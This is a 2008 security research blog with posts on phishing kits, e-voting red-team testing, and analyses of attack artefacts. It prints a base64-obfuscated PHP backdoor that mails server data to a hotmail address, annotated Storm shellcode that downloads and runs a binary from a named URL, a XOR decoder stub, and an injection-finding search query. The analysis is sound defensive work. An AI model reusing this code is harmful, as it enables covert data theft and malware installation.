marco
blog
Menu:
There's no free phish
July 27, 2008
Tomorrow, I'm going to present our paper There is No Free Phish: An Analysis of "Free" and Live Phishing Kits at the USENIX WOOT Workshop. The paper talks about phishing kits, which are phishing sites in a ready-to-deploy package. We collected a large number of these kits, both from sites distributing them and live phishing web servers. We found that phishing kits really are a double-edged sword: on one hand, phishers use them to get confidential information from unsuspecting victims; on the other hand, more experienced attackers plant backdoors in these kits through which they covertly receive the information phished by the kits' users.
Here is the abstract:
Phishing is a form of identity theft in which an attacker attempts to elicit confidential information from unsuspecting victims. While in the past there has been significant work on defending from phishing, much less is known about the tools and techniques used by attackers, i.e., phishers. Of particular importance to understanding the phishers' methods and motivations are phishing kits, packages that contain complete phishing web sites in an easy-to-deploy format. In this paper, we study in detail the kits distributed for free in underground circles and those obtained by crawling live phishing sites. We notice that phishing kits often contain backdoors that send the entered information to third parties. We conclude that phishing kits target two classes of victims: the gullible users from whom they extort valuable information and the unexperienced phishers who deploy them.
After WOOT, I'm going to attend USENIX Security.
See you in San Jose!
Are your votes really counted?
July 21, 2008
Tomorrow, the International Symposium on Software Testing and Analysis (ISSTA) starts in Seattle. It is one of the main venues for research on testing and software analysis.
This year, we have a paper there. It is Are Your Votes Really Counted? Testing the Security of Real-world Electronic Voting Systems and it is joint work with quite a few people in the Computer Security Lab (Davide Balzarotti, Greg Banks, myself, Viktoria Felmetsger, Richard Kemmerer, William Robertson, Fredrik Valeur, and Giovanni Vigna). The paper is the result of our experience with the California Top-To-Bottom Review of electronic voting machines and the similar EVEREST project in Ohio. We describe the methodology we used to perform red-team testing of two real-world electronic voting systems (one produced by Sequoia, the other by ES&S), the tools and techniques we developed, some of the vulnerabilities we identified (spoiler: we designed and implemented malicious code capable of spreading from machine to machine in both cases), and the lessons we learned in the process.
Here is the abstract:
Electronic voting systems play a critical role in today's democratic societies, as they are responsible for recording and counting the citizens' votes. Unfortunately, there is an alarming number of reports describing the malfunctioning of these systems, suggesting that their quality is not up to the task. Recently, there has been a focus on the security testing of voting systems to determine if they can be compromised in order to control the results of an election. We have participated in two large-scale projects, sponsored by the Secretaries of State of California and Ohio, whose respective goals were to perform the security testing of the electronic voting systems used in those two states. The testing process identified major flaws in all the systems analyzed, and resulted in substantial changes in the voting procedures of both states. In this paper, we describe the testing methodology that we used in testing two real-world electronic voting systems, the findings of our analysis, and the lessons we learned.
If you are attending the conference, see you in Seattle!
Lost and found on phishing sites: mailers
July 14, 2008
This is the second installment in the series about interesting things found on web sites that are taken over to host phishing pages. This time, we talk about mailers (the first post was about PHP shells), and — little teaser — we keep a surprise for the end of the post.
So, the bad guys have just compromised a web server, uploaded a phishing kit, and deployed a perfect copy of, say, Bank of America. What's the next step? The attackers just have to attract victims to the site and hope that they will give away their credentials and other confidential information. The best way of doing it is to spam the world with emails claiming that the recipient's account has been suspended (or some other more or less plausible story) and that the situation can be solved by visiting the phishing site.
How do the phishers send the emails? If they don't want to rent a botnet, a cheap way is to use the compromised server's resources. And here is where a mailer comes useful. A mailer is a program, typically written in PHP, that has a web-based interface through which one can insert the mail's message and a list of recipients. The program then sends out the emails. Here is a screenshot of one of these mailers:
The mailers I've seen most frequently are Subzero, Str8 Inbox, PHP Mailer, ToXiC350 MailEr, Mailing Machine, Bulk Maileren, INBOX PHP-Mailer, Mailer All Inbox, Mass Fuckin Mailer Inbox, PHP-Mailer by Mr-Brain (a familiar name, isn't?). Furthermore, many of the PHP shells we have seen previously also offer mailer functionality.
Finally, here is one surprise I've found in one of the mailers whose source code was also left on the phishing site:
<?php
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$message=$_POST['message'];
$msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
echo eval(base64_decode("bWFpbCgiZ3JvZmlfaGFja0Bob3RtYWlsLmNvbSIsICRzdWJ
qOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7"));
?>
And the last string, if you don't read base64, really is:
mail("grofi_hack@hotmail.com", $subj98, $msg, $message, $ra44);
So, a little backdoor! What is a poor phisher to do? After phishing kits, one cannot even trust mailers...
Lost and found on phishing sites: PHP shells
July 12, 2008
It is not uncommon for phishing pages to be hosted on compromised web servers. When this happens, besides phishing, the web server is used for a variety of malicious activities. We have seen some time ago a case where such a site was hosting an XSS-based botnet tool.
With this post, I'll start a brief series (probably 3-4 installments in total) on the interesting things you can find on web sites that are taken over to host phishing pages. For today, the topic is PHP shells.
PHP shells are PHP scripts that allow one to execute a number of
commands on a remote server through a simple web-based interface. They
are used by attackers to easily manage the compromised server, install
new tools, attack other sites, and so on.
Here is a screenshot of one of these shells (click on the image for a
larger picture):
From what I've seen, the most commonly-used shells are C99Shell, w4ck1ng, N3tShell, Room Hacker shell, SimAttacker, Locus7s, Vop-Cr3W shell, storm7shell, Safe0ver, Enqu!nx, PHPShell, BK-Code Shell, r57shell, K-H shell, HaTeX shell, phpRemoteView, UniXShell, and BLaCkSHeLL. Of many of these shells, multiple versions exist, with changes ranging from simple modding (e.g., adding scrolling text in the header of the page saying "ccpower was here !") to the introduction of new features.
In terms of functionality, the basic commands include file system management (listing of directories, changing the attributes of files), file upload, and command execution on the server. More advanced features allow the attacker to
- connect to databases,
- install trojans,
- inject HTML text (e.g., iframes) into all the web pages on the server,
- attempt a number of exploits (e.g., the Linux race exploit of some time ago), and
- brute-force FTP credentials.
Some shells even have the ability to check for updates and to self-remove from the remote server. At least some people are keeping their software updated...
Storm's shellcode
July 11, 2008
The Storm group has launched a new campaign theme, based on the bogus story that World War III would be started. Incidentally, they are starting to be repetitive: they were using a very similar theme back in April 2007.
Besides the usual fake youtube video — you click on it and the
download of the malicious binary starts — they are also using
drive-by download techniques to infect their victims. An iframe points
to the file ind.php, which attempts to perform a number of browser
exploits. Nothing special here: everything is very similar to other
javascript
attacks.
The shellcode used by Storm is also very similar to what we have seen in the
past, both
functionally (download and execute a binary) and in the use of simple polymorphic
techniques. However, there are some differences: one is that it
doesn't store the hash values of the library functions to invoke at the end of
the code. Sequences of hash values probably make for a good signature for IDS
systems. Thus, this shellcode uses hash values inline (in what follows,
find_function returns the address of a function, given the function's hash
and the containing DLL's base address):
00000033: push esi ; kernel32.dll base
00000034: push dword 0xec0e4e8e ; LoadLibrary (hash)
00000039: call 0x13c<find_function>
0000003E: mov [ebp+0x4],eax
00000041: push esi
00000042: push dword 0xe8afe98 ; WinExec (hash)
00000047: call 0x13c<find_function>
0000004C: mov [ebp+0x8],eax
0000004F: push esi
00000050: push dword 0xc2ffb025 ; DeleteFileA (hash)
00000055: call 0x13c<find_function>
0000005A: mov [ebp+0xc],eax
0000005D: push esi
0000005E: push dword 0x60e0ceef ; ExitThread (hash)
00000063: call 0x13c<find_function>
00000068: mov [ebp+0x10],eax
0000006B: push esi
0000006C: push dword 0xb8e579c1 ; GetSystemDirectoryA (hash)
00000071: call 0x13c<find_function>
Here is an example of how one these library functions is invoked. This is the function URLDownloadToFile from the urlmon DLL.
000000EB: xor ebx,ebx
000000ED: push ebx ; NULL
000000EE: push ebx ; NULL
000000EF: push dword [ebp+0x20] ; ptr to "SYSDIR/~.exe"
000000F2: push eax ; eax := addr of the URL
000000F3: push ebx ; NULL
000000F4: mov eax,[ebp+0x1c] ; eax := addr of URLDownloadToFile
000000F7: push byte +0x5
000000F9: pop ecx ; ecx := 5
000000FA: mov edx,[ebp+0x18] ; edx := ptr to ret instruction
000000FD: call 0x125<call_lib_func>
The function that I named call_lib_func invokes the requested DLL function.
It receives the number of parameters (in ecx), the function address (in
eax), and the address of a ret instruction (in edx). It first sets
up the stack (return address into the caller first, followed by the
parameters, and the address of the ret instruction last), and then jumps to
the library function's address. The weird stack manipulation is required
since Win32 API functions use the
__stdcall calling convention.
00000125: inc ecx ; ecx := # params + 1
00000126: pop ebx
00000127: push edx
00000128: add esp,ecx
0000012A: add esp,ecx
0000012C: add esp,ecx
0000012E: add esp,ecx ; esp points past the last parameter
fixup_stack_for_stdcall:
00000130: sub esp,byte +0x4
00000133: pop edx
00000134: push ebx
00000135: mov ebx,edx
00000137: loop 0x130<fixup_stack_for_stdcall>
00000139: push edx ; edx points to ret instruction
0000013A: jmp eax ; eax holds address of lib function
The final effect of the shellcode is:
- a binary is downloaded, in the case I've analyzed, from http://activeware.cn/load.php?bof,
- the binary is saved on the victim's filesystem, and
- it's executed
Polymorphic shellcode
July 5, 2008
In web-based attacks, such as the ones employed in the recent SQL injection attacks, you have to go through three layers of JavaScript obfuscation and as many redirects before getting to the actual exploit code. And, the tricks of the attackers do not stop here.
In fact, attackers are also using polymorphic techniques to mutate the code of their shellcode and avoid detection by anti-virus and anti-malware tools.
This is the beginning of the shellcode found in one these attacks:
00000000: E800000000 call 0x5
00000005: 5D pop ebp
00000006: 83C514 add ebp,byte +0x14 ; ebp = 0x19
00000009: B98D010000 mov ecx,0x18d ; for i in range(0x18d):
0000000E: B0A1 mov al,0xa1
00000010: 304500 xor [ebp+0x0],al ; [ebp] = [ebp] ^ 0xa1
00000013: 45 inc ebp ; ebp += 1
00000014: 49 dec ecx
00000015: 75F9 jnz 0x10
00000017: EB00 jmp short 0x19
00000019: 3131 xor [ecx],esi
0000001B: 3131 xor [ecx],esi
0000001D: ...
The code gets the current EIP, skips 0x14 additional bytes (the decryption instructions), and xors the remaining 0x18d bytes with the value 0xa1. After undoing the obfuscation, one obtains the same shellcode we have seen some time ago:
00000019: 90 nop
0000001A: 90 nop
0000001B: 90 nop
0000001C: 90 nop
0000001D: 90 nop
0000001E: 90 nop
0000001F: 90 nop
00000020: 90 nop
00000021: E9FC000000 jmp 0x122
00000026: 5F pop edi
00000027: 64A130000000 mov eax,[fs:0x30]
0000002D: 780C js 0x3b
0000002F: 8B400C mov eax,[eax+0xc]
00000032: 8B701C mov esi,[eax+0x1c]
00000035: AD lodsd
00000036: 8B6808 mov ebp,[eax+0x8]
00000039: EB09 jmp short 0x44
0000003B: ...
Mapping the SQL injection campaigns
July 2, 2008
In the past few weeks, there have been a number of rounds of massive SQL injection attacks. The attacks inject a script tag in every textual column of the vulnerable databases. This script tag includes a script from a remote site, which I call the injected site. This script, usually, redirects the browser to a second script (possibly on a different site, the target site), which, finally, carries out the actual attack. These attacks are similar to the one I've described before.
For those who are interested, M. Zino has written a good description of the SQL injection mechanism, D. Danchev has an impressive list of high-profile victims of the attack, and the folks at dynamoo keep track of the malicious domains involved in the campaigns.
Collecting data about the injection campaigns is not difficult. For example, most dynamic pages store their title in a textual column in a database. If the application is vulnerable to a SQL injection attack, the injected script tag will be found (also) in the title of the page. Therefore, search queries similar to:
intitle:"<script src=http"
will reveal a large number of victims of the attack. Adding additional terms to the query will return different result sets. Since Google, Yahoo, and MSN Live offer programmatic access to their search engines, it is possible to automate the data collection process.
Visualizing the data that I have collected reveals some interesting things. First, the injection campaigns are indeed massive. Here is a graph showing a small portion of the data I have. Blue circles represent domains that were victims of the attack. Orange circles represent domains that hosted the injected script, i.e., "injected domains".
Certain pages ended up being victim of a large number of injections. Here is a case with 29 injected script tags.
Conversely, certain domains appear in a large number of injected tags.
These are the super villains of the SQL injection campaigns (e.g.,
xprmn4u.info).
Finally, it is interesting to observe the structure of links between malicious domains. Here, orange circles are, as before, domains that appear in the injected script tags, while blue circles are "target domains", i.e., domains to which the browser is redirected to by the injected script.
For example, consider the node www.app52.com in the lower-left corner of
the graph. At least a page was injected with a script tag pointing to a
JavaScript script on www.app52.com. This script redirects through an
iframe to a script on base48.com.
Notice how certain domains (e.g., batch29.com, in the middle of the
graph) are the target of many different redirections. Conversely, several
injected domains (e.g., www.datajto.com) redirect to different
targets. This is because the injected script contains different targets
every time it is fetched.
